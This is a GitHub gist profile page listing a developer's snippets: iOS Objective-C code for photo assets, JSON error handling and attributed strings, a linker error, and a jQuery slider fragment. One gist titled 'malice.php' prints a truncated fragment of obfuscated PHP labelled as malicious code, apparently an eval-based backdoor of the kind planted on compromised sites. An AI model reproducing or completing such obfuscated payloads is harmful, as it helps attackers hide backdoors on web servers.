Skip to content

Instantly share code, notes, and snippets.

View debuggerman's full-sized avatar

Zaki Shaheen (Coeus) debuggerman

View GitHub Profile
@debuggerman
debuggerman / ALAssetUsage.m
Created July 2, 2011 17:08
using AssetsLibrary to read saved images album in iOS
void (^assetEnumerator)(ALAsset* result, NSUInteger index, BOOL*);
void (^groupEnumerator)(ALAssetsGroup*, BOOL *);
void (^faliure)(NSError*);
groupEnumerator = ^(ALAssetsGroup *group, BOOL *stop){
[group enumerateAssetsUsingBlock:assetEnumerator];
};
@debuggerman
debuggerman / responsehandle.m
Created August 10, 2011 09:50
handling response
if(mStatusCode == StatusCodeCreated || mStatusCode == StatusCodeUpdated) {
[mBaseDelegate handleAPIResult];
} else {
NSError *newError = nil;
NSError *jsonError = nil;
NSDictionary *resultDict = [[CJSONDeserializer deserializer] deserializeAsDictionary:mReceivedData error:&jsonError];
SMLog(@"%@", resultDict);
NSDictionary *errorDict = [resultDict objectForKey:@"validation_result"];
if(errorDict != nil) {
@debuggerman
debuggerman / AttributedString.m
Created July 18, 2012 14:32
Using attributed string
CFMutableAttributedStringRef attributedString = NULL;
CFRange stringRange = CFRangeMake(0, CFAttributedStringGetLength(attributedString));
//color
CGColorRef stringColor = nil;
CGColorSpaceRef rgbColorSpace = CGColorSpaceCreateDeviceRGB();
CGFloat colorComponents[] = {0.0f, 0.0f, 0.0f, 1.0f};
stringColor = CGColorCreate(rgbColorSpace, colorComponents);
CGColorSpaceRelease(rgbColorSpace);
@debuggerman
debuggerman / linker.txt
Created July 27, 2012 08:12
linker error
ld: in section __TEXT,__text reloc 2: sectionForAddress(0x508C) address not in any section for architecture armv7
clang: error: linker command failed with exit code 1 (use -v to see invocation)
jQuery.fn.wowSlider = function (D) {
var L = jQuery;
var l = this;
var i = l.get(0);
D = L.extend({
effect: function () {
this.go = function (c, f) {
b(c);
return c
}
@debuggerman
debuggerman / malice.php
Created January 24, 2014 14:18
malicious code
<?php $jszhtssxfc = '824]y8%x5c%x7824-%x5c%x7824]w6<*K)ftpmdXA6|7**197-2qj%x5c%x78257x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%5c%x785c^>Ew:Qb:Qc:W~!%x5c%x78260QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUIx7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b5z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5]552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]4tmf!}Z;^nbsbq%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x786x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cqbqov>*ofmy%x5c%x7825)u}#)fepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x78cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x7825V%x56]y78]248]y83]256]y81]265]y72]254]y7d},;uqpuft%x5c%x7860mssfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c25w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%xx785c2^-%x5c%x7825hOh%x5c%<%x5c%x787fw6*CW&)7gj6<*doj27&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fwg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x%x29%57%x65","%x65%166%x61%154%x28%151%x6
@debuggerman
debuggerman / 0_reuse_code.js
Created January 30, 2014 05:36
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console